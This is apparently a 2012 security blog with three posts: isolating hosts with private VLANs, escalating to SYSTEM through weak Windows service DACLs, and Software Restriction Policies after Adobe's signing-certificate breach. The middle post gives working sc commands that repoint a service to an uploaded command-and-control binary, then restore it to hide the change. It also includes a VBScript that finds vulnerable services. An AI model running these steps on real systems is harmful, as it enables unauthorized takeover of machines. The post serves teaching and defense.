Thursday, October 18, 2012

Host Segmentation

In my previous post, I talked about the importance of separating your client workstations from your servers in a way that allowed (and monitored) only the necessary communications paths. In addition to locking down unneeded connections to servers, it is also important to limit or best eliminate, connections between hosts. As before, there isn't much need for a host to talk to another host on an enterprise network. Communications between hosts can be indicative of everything from a mis-configured workstation, a user with an unauthorized file share, an attacker on a compromised machine attempting to move laterally or launch internal attacks, or an insider up to no good. Regardless of which of these potential sources is the cause, it is traffic that should not be allowed by default. 

In a recent penetration test I was part of, from a single host compromised via a phish, we were able to laterally move to dozens of other hosts and servers without crossing a single security boundary or raising even a specter of awareness among the network defenders.  This dozens of hosts could have easily been hundreds, had we so desired, because there was nothing to stop or detect our actions.  Think about your network for a moment.  Assume Sally from Finance clicks on a link included in a phishing message and now has malware on her workstation that allows a C2 channel to the attacker.  Now assume that attacker is able to springboard from Sally's machine to other host within your network.  What controls do you have in place to stop or detect this?  I would assume the vast majority will answer "none".  *Maybe*  you will see something if Sally's machine in Richmond starts talking to Ted's machine in Pittsburgh, but until then as a network defender, you are most likely blind.

When hosts are on the same subnet, protecting against this is often difficult because layer 3 controls are not possible. The use of isolated Private VLANs (PVLANs) can provide a layer 2 solution that prevents hosts from being able to communicate with other hosts on the same VLAN without first going to the router. In the isolated PVLAN scenario, all hosts in the isolated PVLAN lack access to other hosts in the same isolated community, but are still able to access a promiscuous port which would normally lead to the layer 3 device. This permits the clients to perform their necessary daily functions, (web, e-mail, *actual* work), while eliminating a huge attack vector.  With PVLANs, intra-host communication is limited to only what you specifically allow and hosts are more segmented and contained. Host to host attacks are eliminated and lateral movement cannot occur without first passing through a layer 3 device that is capable of controlling and monitoring that traffic.  

Private VLANs are an excellent network based approach to isolating hosts because it involves less configuration than other methods such as host based firewall or IPSec rules. Of course, as network architects/engineers, we know how difficult it is to retrofit an enterprise network with something as complicated as PVLANs, so for some, using the Windows firewall might be the best option.  Controlling this with the Windows firewall is pretty simple and can be pushed through a GPO.  Just be sure to consider the IP addressing of servers and printers when writing your rule set.  

Whether host based or network based, it is vital  as network defenders that we constantly seek to narrow the attack vector.  While putting firewalls and IDS at the perimeter protect us from a large number of attacks, we must also consider the attack from inside our network and how to defend against it.

Thursday, October 11, 2012

Privilege Escalation with DACLs


The most common way an attacker takes over a system these days is through client-side vulnerabilities, usually through a web browser exploit or through social engineering. If an attacker gains access to a Windows system using either vector, they will most likely inherit the same level of access as the user that was either running the web browser or followed the social engineering instructions (i.e. launched a malicious email attachment). By now, most users should not have administrative level privileges on their systems. As a non-administrative user, the attacker is somewhat limited from spreading to other systems within your network. Sure, they can hit the documents and the data that the user has access to (even on network shares), but let's face it: Joe Schmoe is not really the target, after all, he's the guy who falls for social engineering tricks! As an attacker, we want to find the keys to the kingdom: the system administrators!

This is where privilege escalation comes into play. Should an attacker be able to elevate to administrative level, or even worse, SYSTEM level access, it's just about game over.


Networked Windows systems operate somewhat like the subway station in the second installment of the movie "The Matrix." In the subway station, Neo, our all powerful protagonist, was faced with "The Train Man" who controlled the subway station. While Neo was all powerful in the Matrix (the Windows network), he was no match for the Train Man (SYSTEM) in the subway (a single system in the Windows Network). In the Matrix, the Train Man was just a harmless bum, but in the train station, he rightly exclaims: "Down here...I'M GOD!". Why is this? Well, Neo is like a Domain Administrator: he can traverse the network, moving in and out of different systems, doing things that the normal users can't. SYSTEM, on the other hand, can't even do ANYTHING outside of his own box. He can initiate a network connection, but he has no credentials to the file share. But within a system, SYSTEM can override a Domain Adminstrator!

 In fact, SYSTEM can even "Agent Smith" a Domain Administrator account, taking over the credentials and traversing the entire network with it. This is where we want to be. Privilege esclation is our vehicle.


Yes, it's an old problem, going back to the the old UNIX systems, even before the 2000s. It's featured prominently in the story of Cliff Stoll, probably the world's first real cyber incident responder (see the book "The Cuckoo's Egg"). But it is still around and likely will be for a long time.

One of the places we can hunt for privilege escalation opportunities is in the Service and Driver Discretionary Access Control Lists (DACLs) in Windows machines. DACLs control the permissions applied to Windows services and drivers. Weak DACLs can allow privilege escalation when an attacker can modify a service or driver. Since services run with SYSTEM privileges, an attacker can re-configure a service or driver configured with a weak DACL to run their process of choice. Starting that service or driver will then launch that process as SYSTEM.


First thing to do is to find weak DACLs. DACLs can be fairly complex, but as Microsoft knows, certain DACLs are dangerous:

(DC) - Change Configuration
(WD) - Change DACL
(WO) - Change Ownership

If a non-administrative user has access to these privileges in a service, it is officially vulnerable.

If you've never seen it before, a DACL looks like this:

This can be read as allowing authenticated users to query a service and it's status.
The syntax is basically "Allow/Deny;Permissions;;;ACRONYM or SID"
  • Allow/Deny - this is represented by either an "A" or a "D" respectively and determines if this DACL is describing permissions to allow or deny
  • Permissions - this is a long series of two-letter codes. Aside from the three samples above, common ones are:
    • CC: Configuration Queries
    • LC: Query Status
    • RP: Start
    • WP: Stop
    • SD: Delete
  • ACRONYM or SID - this is either a SID or one of a series of pre-defined groups:
    • DA: Domain Administrators
    • LA: Local Administrator Account
    • BA: Local Administrators Group
    • AU: Authenticated Users
    • WD: All users (my favorite)
To see what a DACL looks like, you can use the built-in Windows service control command: sc

sc sdshow "service name"

Full syntax for the "sc" command can be found just by running "sc" by itself.

Here is an example of listing all the services and then showing a DACL for a single service:

C:\>sc query | findstr SERVICE_NAME
SERVICE_NAME: ac.sharedstore
SERVICE_NAME: AudioEndpointBuilder
<...snipped for brevity...>
SERVICE_NAME: wuauserv
C:\>sc sdshow Dhcp

In this case, the DACL for DHCP is fairly tight. Here's an example of a weak DACL:

C:\TEMP>sc sdshow helpsvc

This DACL allows anyone to reconfigure it. So we will.
(Assume we had previously uploaded our command and control executable named "svdhost.exe" into C:\TEMP)

First, we check the current path and parameters:

C:\TEMP>sc qc helpsvc
[SC] GetServiceConfig SUCCESS
        SERVICE_NAME: helpsvc
        BINARY_PATH_NAME : C:\WINDOWS\System32\svchost.exe -k netsvcs
        TAG : 0
        DISPLAY_NAME : Help and Support
        SERVICE_START_NAME : LocalSystem

Next, we configure our own "BINARY_PATH_NAME":

C:\TEMP>sc config helpsvc binpath= "c:\TEMP\svdhost.exe" start= auto error= ignore type= own
[SC] ChangeServiceConfig SUCCESS

Then, we simply start it:

C:\TEMP>sc start helpsvc
[SC] StartService FAILED 1053:
The service did not respond to the start or control request in a timely fashion.

Our service didn't start, but all we wanted was our process to launch as SYSTEM. Let's find our process and see what level privilege we have:

C:\TEMP>tasklist /v | find "svdhost.exe"
svdhost.exe                  2760          0          1,536 K Running
                NT AUTHORITY\SYSTEM          0:00:00 N/A

And now, we have just escalated our privleges. We are now the Train Man. Should Neo walk in here, he's toast.

At this point, we can change the service back to the original:

C:\TEMP>sc config helpsvc binpath= "C:\WINDOWS\System32\svchost.exe -k netsvcs" start= auto error= normal type= share
[SC] ChangeServiceConfig SUCCESS

So now we have our very own process running as SYSTEM. What to do next? Stay tuned for a future post demostrating session and account hijacking!

P.S. If you don't want to hunt through services one at a time, you can use the script below to find services with possibly weak DACLs. Save as a text file named "daclchk.vbs" and run with "cscript daclchk.vbs".  Note that this is a rough attempt at isolating weak DACLs using regular expression.  It may produce false positives.

Wscript.Echo "Searching for weak DACLs on all installed services..."
Dim re,tmp1,tmp2, currService, matches, vulnerable
Set re = new regexp
Set re2 = new regexp
Set objShell = CreateObject("WScript.Shell")
Set objScriptExec = objShell.Exec("sc query type= service state= all")
matches = 0
re.Pattern = "^SERVICE_NAME"
do while Not objScriptExec.StdOut.AtEndOfStream
tmp1 = objScriptExec.StdOut.ReadLine
If re.Test(tmp1) Then
 currService = Right(tmp1,Len(tmp1)-14)
 Set objScriptExec2 = objshell.Exec("sc sdshow """ & currService & """")
 re2.Pattern = "\(A;[A-Z;]*(WD|WO|DC)[A-Z;]*;(WD|BU|BG|AU)\)"
 tmp2 = objScriptExec2.StdOut.ReadAll
 If re2.Test(tmp2) or Len(tmp2) < 7 Then
  Wscript.Echo "Service " & currService & " appears to be vulnerable!"& tmp2
  matches = matches + 1
  vulnerable = vulnerable & vbcrlf & currService
 End If
End If
Wscript.Echo "Found " & matches & " potentially vulnerable services:"
Wscript.Echo vulnerable

Thursday, October 4, 2012

SRP and the Adobe Certificate Issues

           I received a ton of feedback on my first post about Software Restriction Policies (SRP), thanks /r/netsec. Some of the feedback was positive, some of it critical, but all of it was important. I'll be addressing the more critical feedback today by discussing SRP in the context of the recent Adobe certification revocation news.

          Just last week, Adobe announced that attackers had breached their code-signing system and have been using Adobe's valid digital certificate to sign malicious code for the past few months. Of course, Adobe has since taken actions to fix the problem; however, this blog isn't about the resolution of security incidents. Rather, this blog is about posturing your organization to detect and deflect this and other APT/crime-ware/nuisance attacks.

Whitelisting and the Adobe Problem

          Application control and white-listing solutions are designed around the concept of "digital trust" for the sake of scalability and management. I realize that not all organizations that implement whitelisting use this trust feature, but typically the ones large enough to be a target do. Anyway, "Digital trust" means that when a piece of software is signed with a valid digital certificate, our computer can "trust" that the software is from the source associated with the digital certificate (i.e. Adobe). When our application whitelisting software (Bit 9, Bouncer, or other) see Adobe's certificate has signed a piece of code, that code is allowed to execute.

          The problem is glaring. Typical application whitelisting software would have allowed the malicious code signed by the Adobe certificate. Now, of course, there are reactive configuration changes that can be made to fix this, but we want to be proactive.

SRP and the Adobe Problem

          SRP relies on operator context and protected directories. Certificate trust is an option with SRP, but hardly a necessity. With SRP and an access control list (ACL), you can separate your machine in to two logical areas:

 If you are in the context of a regular user (as opposed to administrative context), you cannot execute anything from user locations. Further, from this context, you cannot write to protected directories. In other words, users can only execute files in directories they cannot write to, never files that they've downloaded or created.
        As for administrators, they can execute from pretty much anywhere on a machine. However, I recommend blocking key areas where malicious code typically lives (Internet Temporary Files). Further, SRP can be applied to just about any file extension from .pif to .bat to .dll. It's a good idea to baseline your organization's critical applications and adapt a SRP policy around them. Also, It's hard to compete with the free price tag.